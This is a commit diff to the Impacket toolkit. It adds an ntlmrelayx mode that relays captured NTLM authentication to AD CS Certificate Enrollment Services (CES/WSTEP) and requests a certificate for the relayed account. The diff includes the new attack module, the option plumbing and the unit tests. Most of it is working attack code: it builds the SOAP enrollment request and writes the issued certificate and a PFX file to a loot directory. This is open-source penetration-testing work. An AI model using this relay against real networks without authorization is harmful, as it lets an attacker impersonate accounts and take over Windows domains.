Add CES Relay to ADCS endpoint (#2325)

* Add AD CS CES relay support to ntlmrelayx

* Remove CES startup preflight

* Validate CES endpoint after authentication is received

* Simplify CES integration using ntlmrelayx infrastructure

* Share AD CS template selection with CES

* Keep CES helpers with HTTP attack

* Use generic target handling for CES

* Fix --template description

* Require explicit CES template selection

---------

Co-authored-by: pavi6 <pavi6@krokodil>
Co-authored-by: Gabi Gonzalez <[email protected]>

ChangeLog.md

@@ -9,6 +9,9 @@ https://github.com/fortra/impacket/commits/master
 
 1. Examples improvements
 
+    * [ntlmrelayx.py](examples/ntlmrelayx.py):
+        * Added `--adcs-ces` support for relaying to AD CS Certificate Enrollment Services (CES/WSTEP). CES mode reuses the existing HTTP relay authentication, target, template, listener, SMB2, and loot directory behavior; generates its CSR automatically; and writes DER, PKCS#7, and PFX artifacts to the configured loot directory.
+
     * [atexec.py](examples/atexec.py):
         * Added mutually exclusive `-author-log` and `-overflow` options to poison or overflow the Task Scheduler Security Event 4698 Author field via task XML RegistrationInfo.
 

examples/ntlmrelayx.py

@@ -210,6 +210,7 @@ def start_servers(options, threads):
         c.setExploitOptions(options.remove_mic, options.remove_target, options.remove_sign_seal)
         c.setWebDAVOptions(options.serve_image)
         c.setIsADCSAttack(options.adcs)
+        c.setIsCESAttack(options.adcs_ces)
         c.setADCSOptions(options.template)
         c.setEnumTemplates(options.enum_templates)
         c.setIsShadowCredentialsAttack(options.shadow_credentials)
@@ -434,7 +435,8 @@ if __name__ == '__main__':
     # AD CS options
     adcsoptions = parser.add_argument_group("AD CS attack options")
     adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')
-    adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')
+    adcsoptions.add_argument('--adcs-ces', action='store_true', default=False, help='Enable AD CS Certificate Enrollment Services (CES/WSTEP) relay attack')
+    adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine for computer accounts and User for user accounts.')
     adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.')
     adcsoptions.add_argument('--altsid', action='store', dest='altSid', metavar="SID", required=False,
                              help='Object SID to embed in szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2). '
@@ -474,6 +476,25 @@ if __name__ == '__main__':
        logging.error(str(e))
        sys.exit(1)
 
+    if options.adcs_ces:
+        incompatible_modes = []
+        if options.adcs:
+            incompatible_modes.append('--adcs')
+        if options.sccm_policies:
+            incompatible_modes.append('--sccm-policies')
+        if options.sccm_dp:
+            incompatible_modes.append('--sccm-dp')
+        if incompatible_modes:
+            parser.error('--adcs-ces cannot be combined with %s' % ', '.join(incompatible_modes))
+        if options.altname or options.altSid or options.enum_templates:
+            parser.error('--altname, --altsid and --enum-templates are not supported with --adcs-ces')
+        if options.target is None and options.tf is None:
+            parser.error('--adcs-ces requires -t or -tf; reflection mode is not supported')
+        if options.target is not None and options.tf is not None:
+            parser.error('--adcs-ces accepts either -t or -tf, not both')
+        if options.socks or options.interactive or options.r is not None:
+            parser.error('--adcs-ces cannot be combined with SOCKS, interactive, or HTTP-to-SMB redirect mode')
+
     if options.https and options.certfile is None:
         parser.error('--https requires --certfile')
 
@@ -565,7 +586,7 @@ if __name__ == '__main__':
     if not options.no_rdp_server:
         RELAY_SERVERS.append(RDPRelayServer)
 
-    if targetSystem is not None and options.w:
+    if targetSystem is not None and options.tf is not None and options.w:
         watchthread = TargetsFileWatcher(targetSystem)
         watchthread.start()
 

impacket/examples/ntlmrelayx/attacks/httpattack.py

@@ -19,6 +19,7 @@
 
 from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
 from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
+from impacket.examples.ntlmrelayx.attacks.httpattacks.cesattack import CESAttack
 from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack
 from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack
 
@@ -27,7 +28,7 @@ from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDP
 PROTOCOL_ATTACK_CLASS = "HTTPAttack"
 
 
-class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack):
+class HTTPAttack(ProtocolAttack, ADCSAttack, CESAttack, SCCMPoliciesAttack, SCCMDPAttack):
     """
     This is the default HTTP attack. This attack only dumps the root page, though
     you can add any complex attack below. self.client is an instance of urrlib.session
@@ -38,7 +39,9 @@ class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack):
 
     def run(self):
 
-        if self.config.isADCSAttack:
+        if self.config.isCESAttack:
+            CESAttack._run(self)
+        elif self.config.isADCSAttack:
             ADCSAttack._run(self)
         elif self.config.isSCCMPoliciesAttack:
             SCCMPoliciesAttack._run(self)

impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py

@@ -111,9 +111,7 @@ class ADCSAttack:
             LOG.info("Certificate enumeration complete!")
             return
 
-        current_template = self.config.template
-        if current_template is None:
-            current_template = "Machine" if self.username.endswith("$") else "User"
+        current_template = self.get_template(self.username, self.config.template)
 
         # Template name might be UTF-8
         original_template = current_template
@@ -184,6 +182,12 @@ class ADCSAttack:
         if self.config.altName:
             LOG.info("This certificate can also be used for user : {}".format(self.config.altName))
 
+    @staticmethod
+    def get_template(username, template=None):
+        if template is not None:
+            return template
+        return "Machine" if username.endswith("$") else "User"
+
     @staticmethod
     def generate_csr(key, CN, altName, csr_type=Encoding.PEM, altSid=None):
         LOG.info("Generating CSR...")

impacket/examples/ntlmrelayx/attacks/httpattacks/cesattack.py

@@ -0,0 +1,253 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# Copyright Fortra, LLC and its affiliated companies
+#
+# All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Microsoft Certificate Enrollment Services (CES/WSTEP) relay attack.
+
+import base64
+import binascii
+import os
+import re
+import uuid
+import xml.etree.ElementTree as ET
+from html import escape
+from urllib.parse import urlparse, urlunparse
+
+from cryptography import x509
+from cryptography.hazmat.primitives.asymmetric import rsa
+from cryptography.hazmat.primitives.serialization import Encoding, pkcs7
+
+from impacket import LOG
+from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
+
+
+SOAP_NS = "http://www.w3.org/2003/05/soap-envelope"
+ADDR_NS = "http://www.w3.org/2005/08/addressing"
+WST_NS = "http://docs.oasis-open.org/ws-sx/ws-trust/200512"
+WSS_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"
+WSS_UTILITY_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"
+AUTHZ_NS = "http://schemas.xmlsoap.org/ws/2006/12/authorization"
+ENROLL_NS = "http://schemas.microsoft.com/windows/pki/2009/01/enrollment"
+TOKEN_TYPE_X509V3 = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"
+REQUEST_TYPE_ISSUE = WST_NS + "/Issue"
+VALUE_TYPE_PKCS10 = ENROLL_NS + "#PKCS10"
+ENCODING_BASE64 = WSS_NS + "#base64binary"
+CES_ACTION = ENROLL_NS + "/RST/wstep"
+CES_MAX_RESPONSE = 10 * 1024 * 1024
+
+_WHITESPACE_RE = re.compile(r"\s+")
+
+
+class CESConfigurationError(ValueError):
+    pass
+
+
+def soap_http_headers(content_length):
+    return {
+        "Content-Type": "application/soap+xml; charset=utf-8",
+        "User-Agent": "MS-WebServices/1.0",
+        "Connection": "Keep-Alive",
+        "Cache-Control": "no-cache",
+        "Pragma": "no-cache",
+        "Content-Length": str(content_length),
+    }
+
+
+def derive_subject_cn(relayed_username):
+    if not relayed_username:
+        return "CES-Enrollment"
+    value = relayed_username.split("\\")[-1].split("/")[-1].split("@")[0]
+    return value or "CES-Enrollment"
+
+
+def build_additional_context(template):
+    return '<AdditionalContext xmlns="%s"><ContextItem Name="CertificateTemplate"><Value>%s</Value></ContextItem></AdditionalContext>' % (
+        AUTHZ_NS, escape(template, quote=True)
+    )
+
+
+def _has_explicit_port(netloc):
+    authority = netloc.rsplit("@", 1)[-1]
+    if authority.startswith("["):
+        closing_bracket = authority.find("]")
+        return closing_bracket >= 0 and authority[closing_bracket + 1:].startswith(":")
+    return ":" in authority
+
+
+def build_ces_soap(target_url, csr_b64, template, message_id=None):
+    if not csr_b64:
+        raise CESConfigurationError("CSR data is required")
+    if not template:
+        raise CESConfigurationError("Certificate template is required")
+    parsed = urlparse(target_url)
+    # Rebuild the URL without any identity/userinfo. Keep path, query and an
+    # explicitly supplied port, including an explicit default port.
+    host = parsed.hostname
+    if ":" in host and not host.startswith("["):
+        host = "[%s]" % host
+    if _has_explicit_port(parsed.netloc):
+        host = "%s:%d" % (host, parsed.port)
+    to_url = urlunparse((parsed.scheme, host, parsed.path or "/", "", parsed.query, ""))
+    mid = message_id or "urn:uuid:%s" % uuid.uuid4()
+    return """<?xml version="1.0" encoding="utf-8"?>
+<s:Envelope xmlns:a="{addr}" xmlns:s="{soap}">
+  <s:Header>
+    <a:Action s:mustUnderstand="1">{action}</a:Action>
+    <a:MessageID>{message_id}</a:MessageID>
+    <a:To s:mustUnderstand="1">{to}</a:To>
+  </s:Header>
+  <s:Body>
+    <RequestSecurityToken PreferredLanguage="en-US" xmlns="{wst}">
+      <TokenType>{token_type}</TokenType>
+      <RequestType>{request_type}</RequestType>
+      <BinarySecurityToken ValueType="{value_type}" EncodingType="{encoding}" a:Id="" xmlns:a="{utility}" xmlns="{wss}">{csr}</BinarySecurityToken>
+      {context}
+    </RequestSecurityToken>
+  </s:Body>
+</s:Envelope>
+""".format(
+        addr=ADDR_NS, soap=SOAP_NS, action=escape(CES_ACTION),
+        message_id=escape(mid), to=escape(to_url), wst=WST_NS,
+        token_type=escape(TOKEN_TYPE_X509V3), request_type=escape(REQUEST_TYPE_ISSUE),
+        value_type=escape(VALUE_TYPE_PKCS10), encoding=escape(ENCODING_BASE64),
+        utility=WSS_UTILITY_NS, wss=WSS_NS, csr=escape(csr_b64),
+        context=build_additional_context(template),
+    )
+
+
+def target_url(target, relay_client=None):
+    scheme = target.scheme.lower()
+    host = target.hostname
+    if ":" in host and not host.startswith("["):
+        host = "[%s]" % host
+    if _has_explicit_port(target.netloc):
+        host = "%s:%d" % (host, target.port)
+    path = getattr(relay_client, "path", None) or target.path or "/"
+    query = getattr(relay_client, "query", None)
+    if query is None:
+        query = target.query
+    return urlunparse((scheme, host, path, "", query, ""))
+
+
+def extract_response_tokens(xml_bytes):
+    if not xml_bytes:
+        raise RuntimeError("CES returned an empty response")
+    if len(xml_bytes) > CES_MAX_RESPONSE:
+        raise RuntimeError("CES response exceeds the %d-byte limit" % CES_MAX_RESPONSE)
+    try:
+        root = ET.fromstring(xml_bytes)
+    except ET.ParseError as exc:
+        raise RuntimeError("CES returned malformed XML: %s" % exc) from exc
+
+    fault = root.find(".//{%s}Fault" % SOAP_NS)
+    if fault is not None:
+        reason = fault.find(".//{%s}Text" % SOAP_NS)
+        text = (reason.text or "").strip() if reason is not None else "unspecified fault"
+        raise RuntimeError("CES SOAP fault: %s" % text[:1000])
+
+    cert_tokens = []
+    p7b_tokens = []
+    for node in root.findall(".//{%s}BinarySecurityToken" % WSS_NS):
+        value = _WHITESPACE_RE.sub("", node.text or "")
+        if not value:
+            continue
+        value_type = node.attrib.get("ValueType", "")
+        if "X509v3" in value_type:
+            cert_tokens.append(value)
+        elif "PKCS7" in value_type:
+            p7b_tokens.append(value)
+    return cert_tokens, p7b_tokens
+
+
+def decode_certificate(value):
+    try:
+        data = base64.b64decode(value, validate=True)
+        certificate = x509.load_der_x509_certificate(data)
+    except (binascii.Error, ValueError) as exc:
+        raise RuntimeError("CES returned an invalid X509 certificate token") from exc
+    return data, certificate
+
+
+def decode_pkcs7(value):
+    try:
+        data = base64.b64decode(value, validate=True)
+        pkcs7.load_der_pkcs7_certificates(data)
+    except (binascii.Error, ValueError) as exc:
+        raise RuntimeError("CES returned an invalid PKCS#7 token") from exc
+    return data
+
+
+class CESAttack:
+    @staticmethod
+    def _read_response(response):
+        body = response.read(CES_MAX_RESPONSE + 1)
+        if len(body) > CES_MAX_RESPONSE:
+            # Drain the connection without retaining additional untrusted data.
+            while response.read(65536):
+                pass
+            raise RuntimeError("CES response exceeds the %d-byte limit" % CES_MAX_RESPONSE)
+        return body
+
+    def _run(self):
+        identity = "%s\\%s" % (self.domain, self.username) if self.domain else self.username
+        template = ADCSAttack.get_template(self.username, self.config.template)
+        try:
+            key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
+            csr = ADCSAttack.generate_csr(key, derive_subject_cn(identity), None, csr_type=Encoding.DER)
+            csr_b64 = base64.b64encode(csr).decode("ascii")
+            url = target_url(self.target, self.relay_client)
+            soap = build_ces_soap(url, csr_b64, template)
+            body = soap.encode("utf-8")
+            path = self.relay_client.path or "/"
+            if self.relay_client.query:
+                path += "?" + self.relay_client.query
+
+            LOG.info("Requesting a certificate for %s using CES template %s", identity, template)
+            # self.client is the already authenticated HTTP(S) connection.
+            self.client.request("POST", path, body=body, headers=soap_http_headers(len(body)))
+            response = self.client.getresponse()
+            response_body = self._read_response(response)
+            if response.status >= 400:
+                diagnostic = response_body[:2000].decode("utf-8", errors="replace")
+                raise RuntimeError("CES returned HTTP %d %s: %s" % (response.status, response.reason, diagnostic))
+
+            cert_tokens, p7b_tokens = extract_response_tokens(response_body)
+            cert_der = certificate = None
+            p7b_der = None
+            if cert_tokens:
+                cert_der, certificate = decode_certificate(cert_tokens[-1])
+            if p7b_tokens:
+                p7b_der = decode_pkcs7(p7b_tokens[0])
+
+            if not os.path.isdir(self.config.lootdir):
+                os.makedirs(self.config.lootdir, exist_ok=True)
+            output_name = ADCSAttack._sanitize_filename(identity)
+            if cert_der is not None:
+                cert_path = os.path.join(self.config.lootdir, output_name + ".cer")
+                with open(cert_path, "wb") as output:
+                    output.write(cert_der)
+                LOG.info("Saved issued CES certificate: %s", cert_path)
+            else:
+                LOG.warning("CES response did not contain an X509v3 certificate; PFX was not created")
+
+            if p7b_der is not None:
+                p7b_path = os.path.join(self.config.lootdir, output_name + ".p7b")
+                with open(p7b_path, "wb") as output:
+                    output.write(p7b_der)
+                LOG.info("Saved CES PKCS#7 response: %s", p7b_path)
+            else:
+                LOG.warning("CES response did not contain a PKCS#7 token")
+
+            if certificate is not None:
+                pfx_path = os.path.join(self.config.lootdir, output_name + ".pfx")
+                with open(pfx_path, "wb") as output:
+                    output.write(ADCSAttack.generate_pfx(key, certificate))
+                LOG.info("Saved CES PFX: %s", pfx_path)
+        except Exception as exc:
+            LOG.error("CES SOAP enrollment failed: %s", exc)

impacket/examples/ntlmrelayx/utils/config.py

@@ -102,6 +102,7 @@ class NTLMRelayxConfig:
 
         # AD CS attack options
         self.isADCSAttack = False
+        self.isCESAttack = False
         self.template = None
         self.altName = None
         self.altSid = None
@@ -273,6 +274,9 @@ class NTLMRelayxConfig:
     def setIsADCSAttack(self, isADCSAttack):
         self.isADCSAttack = isADCSAttack
 
+    def setIsCESAttack(self, isCESAttack):
+        self.isCESAttack = isCESAttack
+
     def setEnumTemplates(self, enumTemplates):
         self.enumTemplates = enumTemplates
 

tests/misc/test_ntlmrelayx_adcs.py

@@ -25,6 +25,11 @@ class ADCSCertificateSigningRequestTests(unittest.TestCase):
     def setUpClass(cls):
         cls.key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
 
+    def test_template_defaults_match_relayed_account_type(self):
+        self.assertEqual(ADCSAttack.get_template("alice"), "User")
+        self.assertEqual(ADCSAttack.get_template("WORKSTATION$"), "Machine")
+        self.assertEqual(ADCSAttack.get_template("alice", "CustomTemplate"), "CustomTemplate")
+
     def test_generate_pem_csr_without_subject_or_extensions(self):
         data = ADCSAttack.generate_csr(self.key, None, None)
         request = x509.load_pem_x509_csr(data)

tests/misc/test_ntlmrelayx_ces.py

@@ -0,0 +1,173 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# Copyright Fortra, LLC and its affiliated companies
+#
+# All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+
+import base64
+import io
+import os
+import tempfile
+import unittest
+from datetime import datetime, timedelta, timezone
+from types import SimpleNamespace
+from unittest.mock import patch
+from urllib.parse import urlparse
+
+from cryptography import x509
+from cryptography.hazmat.primitives import hashes, serialization
+from cryptography.hazmat.primitives.asymmetric import rsa
+from cryptography.hazmat.primitives.serialization import pkcs12, pkcs7
+from cryptography.x509.oid import NameOID
+
+from impacket.examples.ntlmrelayx.attacks.httpattacks.cesattack import (
+    ADDR_NS,
+    AUTHZ_NS,
+    CES_ACTION,
+    CESAttack,
+    SOAP_NS,
+    WSS_NS,
+    build_ces_soap,
+    decode_certificate,
+    decode_pkcs7,
+    derive_subject_cn,
+    extract_response_tokens,
+    target_url,
+)
+
+
+class CESHelperTests(unittest.TestCase):
+    def test_subject_common_name_derivation(self):
+        self.assertEqual(derive_subject_cn("DOMAIN\\machine$"), "machine$")
+        self.assertEqual(derive_subject_cn("DOMAIN/[email protected]"), "user")
+        self.assertEqual(derive_subject_cn(""), "CES-Enrollment")
+
+    def test_soap_escapes_values_and_preserves_target(self):
+        soap = build_ces_soap(
+            "https://DOMAIN%5Cuser@[2001:db8::1]:443/service.svc/CES?a=1&b=2",
+            "Y3Ny",
+            "Machine&A",
+            message_id="urn:uuid:test",
+        )
+        self.assertIn('xmlns:a="%s"' % ADDR_NS, soap)
+        self.assertIn('xmlns:s="%s"' % SOAP_NS, soap)
+        self.assertIn(CES_ACTION, soap)
+        self.assertIn("Machine&A", soap)
+        self.assertIn('<AdditionalContext xmlns="%s"><ContextItem' % AUTHZ_NS, soap)
+        self.assertIn("https://[2001:db8::1]:443/service.svc/CES?a=1&amp;b=2", soap)
+        self.assertNotIn("DOMAIN%5Cuser@", soap)
+        self.assertNotIn("\n        <ContextItem", soap)
+
+    @staticmethod
+    def certificate_material():
+        key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
+        subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "machine$")])
+        now = datetime.now(timezone.utc)
+        certificate = (
+            x509.CertificateBuilder().subject_name(subject).issuer_name(issuer)
+            .public_key(key.public_key()).serial_number(1)
+            .not_valid_before(now - timedelta(minutes=1)).not_valid_after(now + timedelta(days=1))
+            .sign(key, hashes.SHA256())
+        )
+        cert_der = certificate.public_bytes(serialization.Encoding.DER)
+        p7b_der = (
+            pkcs7.PKCS7SignatureBuilder().set_data(b"test")
+            .add_signer(certificate, key, hashes.SHA256())
+            .sign(serialization.Encoding.DER, [pkcs7.PKCS7Options.Binary])
+        )
+        return key, certificate, cert_der, p7b_der
+
+    def test_response_token_selection_and_validation(self):
+        _, certificate, cert_der, p7b_der = self.certificate_material()
+        xml = ('<s:Envelope xmlns:s="%s" xmlns:o="%s"><s:Body>'
+               '<o:BinarySecurityToken ValueType="PKCS7">\n%s\n</o:BinarySecurityToken>'
+               '<o:BinarySecurityToken ValueType="X509v3">%s</o:BinarySecurityToken>'
+               '</s:Body></s:Envelope>') % (
+                   SOAP_NS, WSS_NS, base64.b64encode(p7b_der).decode(),
+                   base64.b64encode(cert_der).decode())
+        cert_tokens, p7b_tokens = extract_response_tokens(xml.encode())
+        decoded_der, decoded_cert = decode_certificate(cert_tokens[-1])
+        self.assertEqual(decoded_der, cert_der)
+        self.assertEqual(decoded_cert.fingerprint(hashes.SHA256()), certificate.fingerprint(hashes.SHA256()))
+        self.assertEqual(decode_pkcs7(p7b_tokens[0]), p7b_der)
+
+    def test_fault_and_malformed_response(self):
+        fault = ('<s:Envelope xmlns:s="%s"><s:Body><s:Fault><s:Reason>'
+                 '<s:Text>denied</s:Text></s:Reason></s:Fault></s:Body></s:Envelope>') % SOAP_NS
+        with self.assertRaisesRegex(RuntimeError, "SOAP fault: denied"):
+            extract_response_tokens(fault.encode())
+        with self.assertRaisesRegex(RuntimeError, "malformed XML"):
+            extract_response_tokens(b"<not-closed")
+
+    def test_target_url_removes_identity_and_keeps_explicit_port(self):
+        target = urlparse("https://DOMAIN%5Cuser@[2001:db8::1]:443/service.svc/CES?q=1")
+        self.assertEqual(target_url(target), "https://[2001:db8::1]:443/service.svc/CES?q=1")
+
+
+class CESAttackTests(unittest.TestCase):
+    class Response:
+        status = 200
+        reason = "OK"
+
+        def __init__(self, body):
+            self.stream = io.BytesIO(body)
+
+        def read(self, size=-1):
+            return self.stream.read(size)
+
+    class Connection:
+        def __init__(self, response):
+            self.response = response
+            self.requests = []
+
+        def request(self, method, path, body=None, headers=None):
+            self.requests.append((method, path, body, headers))
+
+        def getresponse(self):
+            return self.response
+
+    def test_enrollment_uses_authenticated_connection_and_lootdir(self):
+        key, certificate, cert_der, p7b_der = CESHelperTests.certificate_material()
+        xml = ('<s:Envelope xmlns:s="%s" xmlns:o="%s"><s:Body>'
+               '<o:BinarySecurityToken ValueType="PKCS7">%s</o:BinarySecurityToken>'
+               '<o:BinarySecurityToken ValueType="X509v3">%s</o:BinarySecurityToken>'
+               '</s:Body></s:Envelope>') % (
+                   SOAP_NS, WSS_NS, base64.b64encode(p7b_der).decode(),
+                   base64.b64encode(cert_der).decode())
+        connection = self.Connection(self.Response(xml.encode()))
+        with tempfile.TemporaryDirectory() as directory:
+            attack = CESAttack()
+            attack.domain = "DOMAIN"
+            attack.username = "machine$"
+            attack.target = urlparse("https://ca.example.test/service.svc/CES?q=1")
+            attack.relay_client = SimpleNamespace(path="/service.svc/CES", query="q=1")
+            attack.client = connection
+            attack.config = SimpleNamespace(template=None, lootdir=directory)
+            with patch(
+                "impacket.examples.ntlmrelayx.attacks.httpattacks.cesattack.rsa.generate_private_key",
+                return_value=key,
+            ):
+                attack._run()
+
+            self.assertEqual(len(connection.requests), 1)
+            method, path, body, headers = connection.requests[0]
+            self.assertEqual((method, path), ("POST", "/service.svc/CES?q=1"))
+            self.assertEqual(headers["Content-Length"], str(len(body)))
+            self.assertIn(b"<Value>Machine</Value>", body)
+            self.assertEqual(sorted(os.listdir(directory)), [
+                "DOMAIN_machine.cer", "DOMAIN_machine.p7b", "DOMAIN_machine.pfx"
+            ])
+            with open(os.path.join(directory, "DOMAIN_machine.pfx"), "rb") as pfx_file:
+                loaded_key, loaded_cert, chain = pkcs12.load_key_and_certificates(pfx_file.read(), None)
+            self.assertIsNotNone(loaded_key)
+            self.assertEqual(loaded_cert.fingerprint(hashes.SHA256()), certificate.fingerprint(hashes.SHA256()))
+            self.assertEqual(chain, [])
+
+
+if __name__ == "__main__":
+    unittest.main(verbosity=1)